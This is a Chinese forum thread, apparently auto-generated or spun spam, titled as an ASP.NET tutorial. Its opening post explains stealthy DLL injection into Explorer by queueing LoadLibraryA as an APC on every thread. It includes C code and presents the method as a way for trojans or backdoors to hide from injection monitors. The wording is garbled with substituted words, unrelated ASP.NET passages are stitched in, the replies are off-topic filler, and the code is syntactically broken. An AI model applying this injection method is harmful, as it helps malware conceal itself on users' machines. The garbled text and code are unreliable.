仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 927|回复: 9
打印 上一主题 下一主题

[学习教程] ASP.NET编程:暴力注进Explorer

[复制链接]
爱飞 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:37:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
在经过全球个人PC市场占有90%的微软对asp.net不断优化与整合后,asp.net与微软自身平台的动用上更加的高效,加上asp.net在应用上非常容易上手,相信asp.net仍会是最多客户选用的脚本语言,并会在未来几年继续领跑。向一个运转中的历程注进本人的代码,最天然莫过于利用CreateRemoteThread,
现在远线程注进已是众多成灾,一样的监测远线程注进、避免远线程注进的工具也
不胜枚举,一个木马或后门启动时向Explorer或IE的注进操纵就像在本人脸上写上
“我是贼”一样。
用户态代码想要更潜伏地躲身于其余历程,就应当在注进的环节潜伏本人的行
为。上面就先容一种十分复杂不外对照暴力的办法,给出的示例为在Explorer里加
载本人的dll。
起首提到的就是一个API:QueueUserAPC

DWORDQueueUserAPC(
PAPCFUNCpfnAPC,//APCfunction
HANDLEhThread,//handletothread
ULONG_PTRdwData//APCfunctionparameter
;

人人对这个API应当其实不生疏,它间接转进了体系服务NtQueueApcThread从而利
用KeInsertQueueApc向给出的方针线程的APC行列拔出一APC工具。倘使KiDeliverApc
顺遂的往机关apc情况并实行我们的代码那统统就OK了,只惋惜没有那末顺遂的事,
ApcState中UserApcPending是不是为TRUE有主要的影响,了局常常是你比及花儿都谢了
你的代码仍是没失掉实行。在中心态常常不成成绩,本人下手赋值,但是用户态
程序可欠好做,怎样办?实在最复杂的,欠好做就不做孟低橙ジ伞
实践上使用程序在哀求“alertable”的守候时体系就会置UserApcPending为
TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject
利用TestForAlertPending时就有大概,别的另有KeTestAlertThread等,时机仍是有的
),最复杂的例子,方针线程挪用SleepEx(***,TRUE)后我们拔出APC代码就会乖乖执
行了。
对照侥幸的是Explorer历程中一样平常情形下总有合我们意的线程,因而最复杂但其实不
幽美的举措就是列举Explorer中一切线程,全数拔出,表示以下:

......
DWORDret;
char*DllName="c:MyDll.dll";
intlen=strlen(DllName)+1;
PVOIDparam=VirtualAllocEx(hProcess,NULL,len,
MEM_COMMIT|MEM_TOP_DOWN,
PAGE_READWRITE);
if(param!=NULL)
{
if(WriteProcessMemory(hProcess,param,
(LPVOID)DllName,len,&ret))
{
for(DWORDp=0;p<NumberOfThreads;p++)
{
hThread=OpenThread(THREAD_ALL_ACCESS,0,ThreadId[p]);
if(hThread!=0)
{
InjectDll(hProcess,hThread,(DWORD)param);
CloseHandle(hThread);
}
}
}
......

个中InjectDll:
voidInjectDll(HANDLEhProcess,HANDLEhThread,DWORDparam)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll","LoadLibraryA",
hThread,
(DWORD)param
;
}

LoadLibraryA被挪用后行将你的DLL加载进方针历程Explorer,运转是在方针历程的某
个线程情况中,一样平常你的DLL能够这时候创立本人的线程。
如许,全部历程固然有些暴力(缘故原由很分明,好比底本UserApcPending为TRUE的线程
被弄成了FALSE等等),而且仅是一次性拔出,缺点是分明的,不外拔出历程切实其实更加潜伏。

针对利用这类的“无耻”办法的程序,检/监测程序就必要增添一些判别,好比对
NtQueueApcThread的公道监测等等。

偶然候,那些最陈旧的木马假装的好反而不简单被杀。。。什么叫数据库怎么样?什么意思?你想单学数据库。(其实变成是我问的)
乐观 该用户已被删除
沙发
发表于 2015-1-19 19:30:28 | 只看该作者
ASP.net1.1和2.0在程序上的语法也有很大不同,现在2.0属于新出来的,不知道半年后会不会有3.0(说笑一下)。Windows2003系统自动支持ASP和ASP.net环境,不用安装任何程序。Asp.net属于编译语言。ASP的最大不同(ASP属于解释语言)。
板凳
发表于 2015-1-19 19:30:28 | 只看该作者
目前在微软的.net战略中新推出的ASP.net借鉴了Java技术的优点,使用CSharp(C#)语言作为ASP.net的推荐语言,同时改进了以前ASP的安全性差等缺点。但是,使用ASP/ASP.net仍有一定的局限性,因为从某种角度来说它们只能在微软的WindowsNT/2000/XP+IIS的服务器平台上良好运行(虽然像ChilliSoft提供了在UNIX/Linux上运行ASP的解决方案.
因胸联盟 该用户已被删除
地板
发表于 2015-1-28 09:55:49 | 只看该作者
主流网站开发语言之ASP:ASP是微软(Microsoft)所开发的一种后台脚本语言,它的语法和VisualBASIC类似,可以像SSI(ServerSideInclude)那样把后台脚本代码内嵌到HTML页面中。虽然ASP简单易用,但是它自身存在着许多缺陷,最重要的就是安全性问题。
飘飘悠悠 该用户已被删除
5#
发表于 2015-2-5 20:26:10 | 只看该作者
由于JSP/Servlet都是基于Java的,所以它们也有Java语言的最大优点——平台无关性,也就是所谓的“一次编写,随处运行(WORA–WriteOnce,RunAnywhere)”。除了这个优点,JSP/Servlet的效率以及安全性也是相当惊人的。
变相怪杰 该用户已被删除
6#
发表于 2015-2-13 13:10:51 | 只看该作者
比如封装性、继承性、多态性等等,这就解决了刚才谈到的ASP的那些弱点。封装性使得代码逻辑清晰,易于管理,并且应用到ASP.Net上就可以使业务逻辑和Html页面分离,这样无论页面原型如何改变。
老尸 该用户已被删除
7#
发表于 2015-3-3 21:44:09 | 只看该作者
有一丝可惜的是,这个系列太强了,Java阵营的朋友根本就是哑口无言...争论之火瞬间被浇灭,这不是我想这么早就看到的,但是值了。
飘灵儿 该用户已被删除
8#
发表于 2015-3-11 13:59:31 | 只看该作者
碰到复杂点的问题都不知道能不能解决,现在有点实力的公司都选择自已在开源的基础上做开发。但没听说过有人在IIS上做改进的,windows、sqlserver集群方面的应用也很少见。
只想知道 该用户已被删除
9#
发表于 2015-3-18 21:54:21 | 只看该作者
Asp.net:首先来说,Asp.net和Asp没什么关系,看着像是升级版本什么的,其实没什么联系。Asp是脚本编程,用的是ASP语言,而ASP.net用的是C#语言,完全不同的东西。
第二个灵魂 该用户已被删除
10#
发表于 2015-3-26 19:10:23 | 只看该作者
能产生和执行动态、交互式、高效率的站占服务器的应用程序。运用ASP可将VBscript、javascript等脚本语言嵌入到HTML中,便可快速完成网站的应用程序,无需编译,可在服务器端直接执行。容易编写。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-5 02:58

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表